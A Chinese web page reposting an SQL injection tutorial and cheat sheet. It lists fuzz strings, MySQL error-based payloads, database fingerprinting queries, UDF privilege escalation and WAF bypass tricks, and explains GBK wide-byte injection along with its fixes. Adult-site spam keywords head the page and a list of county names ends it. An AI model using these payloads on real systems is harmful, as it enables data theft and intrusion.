中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

WEB安全中SQL注入漏洞的知識點有哪些

發布時間:2022-01-17 11:04:29 來源:億速云 閱讀:118 作者:iii 欄目:大數據

這篇文章主要介紹“WEB安全中SQL注入漏洞的知識點有哪些”,在日常操作中,相信很多人在WEB安全中SQL注入漏洞的知識點有哪些問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”WEB安全中SQL注入漏洞的知識點有哪些”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術,用于攻擊數據驅動的應用程序。在應用程序中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入字段中執行(例如將數據庫內容轉儲給攻擊者)。

3.1.1.1. 按技巧分類

根據使用的技巧,SQL注入類型可分為  

● 盲注

布爾盲注:只能從應用返回中推斷語句執行后的布爾值

時間盲注:應用沒有明確的回顯,只能使用特定的時間函數來判斷

● 報錯注入:應用會顯示全部或者部分的報錯信息

● 堆疊注入:有的應用可以加入 ; 后一次執行多條語句

● 其他


3.1.1.2. 按獲取數據的方式分類

另外也可以根據獲取數據的方式分為3類

● inband

利用Web應用來直接獲取數據

如報錯注入

都是通過站點的響應或者錯誤反饋來提取數據

● inference

通過Web的一些反映來推斷數據

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過web應用的其他改變來推斷數據

● out of band(OOB)

通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件


3.1.2. 注入檢測

3.1.2.1. 常見的注入點

● GET/POST/PUT/DELETE參數

● X-Forwarded-For

● 文件名


3.1.2.2. Fuzz注入點

● ' / "

● 1/1

● 1/0

● and 1=1

● " and "1"="1

● and 1=2

● or 1=1

● or 1=

● ' and '1'='1

● + - ^ * % /

● << >> || | & &&

● ~

● !

● @

● 反引號執行


3.1.2.3. 測試用常量

● @@version

● @@servername

● @@language

● @@spid


3.1.2.4. 測試列數

例如:

http://www.foo.com/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回。


3.1.2.5. 報錯注入

● select 1/0

● select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a

● extractvalue(1, concat(0x5c,(select user())))

● updatexml(0x3a,concat(1,(select user())),1)

● exp(~(SELECT * from(select user())a))

● ST_LatFromGeoHash((select * from(select * from(select user())a)b))

● GTID_SUBSET(version(), 1)


3.1.2.5.1. 基于geometric的報錯注入

● GeometryCollection((select * from (select * from(select user())a)b))

● polygon((select * from(select * from(select user())a)b))

● multipoint((select * from(select * from(select user())a)b))

● multilinestring((select * from(select * from(select user())a)b))

● LINESTRING((select * from(select * from(select user())a)b))

● multipolygon((select * from(select * from(select user())a)b))


其中需要注意的是,基于exp函數的報錯注入在MySQL 5.5.49后的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較后的版本中同樣不再生效。


3.1.2.6. 堆疊注入

● ;select 1


3.1.2.7. 注釋符

● #

● --+

● /*xxx*/

● /*!xxx*/

● /*!50000xxx*/


3.1.2.8. 判斷過濾規則

● 是否有trunc

● 是否過濾某個字符

● 是否過濾關鍵字

● slash和編碼


3.1.2.9. 獲取信息

● 判斷數據庫類型

and exists (select * from msysobjects ) > 0 access數據庫

and exists (select * from sysobjects ) > 0 SQLServer數據庫

● 判斷數據庫表

and exsits (select * from admin)

● 版本、主機名、用戶名、庫名

● 表和字段

確定字段數(Order By Select Into)

表名、列名


3.1.2.10. 測試權限

● 文件操作

讀敏感文件

寫shell

● 帶外通道

網絡請求


3.1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。  

當獲得MySQL權限之后,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。


3.1.4. 數據庫檢測

3.1.4.1. MySQL

● sleep sleep(1)

● benchmark BENCHMARK(5000000, MD5('test'))

● 字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

● version

SELECT @@version

SELECT version()

● 識別用函數

connection_id()

last_insert_id()

row_count()


3.1.4.2. Oracle

● 字符串連接

'a'||'oracle' --

SELECT CONCAT('some','string')

● version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1


3.1.4.3. SQLServer

● WAITFOR WAITFOR DELAY '00:00:10';

● SERVERNAME SELECT @@SERVERNAME

● version SELECT @@version

● 字符串連接

SELECT 'some'+'string'

● 常量

@@pack_received

@@rowcount


3.1.4.4. PostgreSQL

● sleep pg_sleep(1)


3.1.5. 繞過技巧

● 編碼繞過

大小寫

url編碼

html編碼

十六進制編碼

unicode編碼

● 注釋

// -- -- + -- - # /**/ ;%00

內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

● 只過濾了一次時

union => ununionion

● 相同功能替換

● 函數替換

substring / mid / sub

ascii / hex / bin

benchmark / sleep

● 變量替換

user() / @@user

● 符號和關鍵字

and / &

or / |

● HTTP參數

HTTP參數污染

id=1&id=2&id=3 根據容器不同會有不同的結果

HTTP分割注入

● 緩沖區溢出

一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理。

● 二次注入有長度限制時,通過多句執行的方法改掉數據庫該字段的長度繞過


3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程序員用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同于

set 

character_set_connection = 'gbk', 

character_set_result = 'gbk', 

character_set_client = 'gbk';


漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之后,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數據庫的連接里面,就不會出現這個問題了。第三種就是用pdo。

還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數據庫比較會等于admin。

到此,關于“WEB安全中SQL注入漏洞的知識點有哪些”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

农安县| 台东市| 故城县| 腾冲县| 景洪市| 新宁县| 吕梁市| 泽普县| 老河口市| 武川县| 梁河县| 麻城市| 台湾省| 桐柏县| 若尔盖县| 虞城县| 武胜县| 宝清县| 明溪县| 邵东县| 遂平县| 高要市| 信宜市| 天等县| 扶绥县| 淅川县| 东至县| 绥化市| 五大连池市| 武川县| 新竹市| 潞西市| 中牟县| 海城市| 同仁县| 吉首市| 盐城市| 观塘区| 广州市| 疏勒县| 厦门市|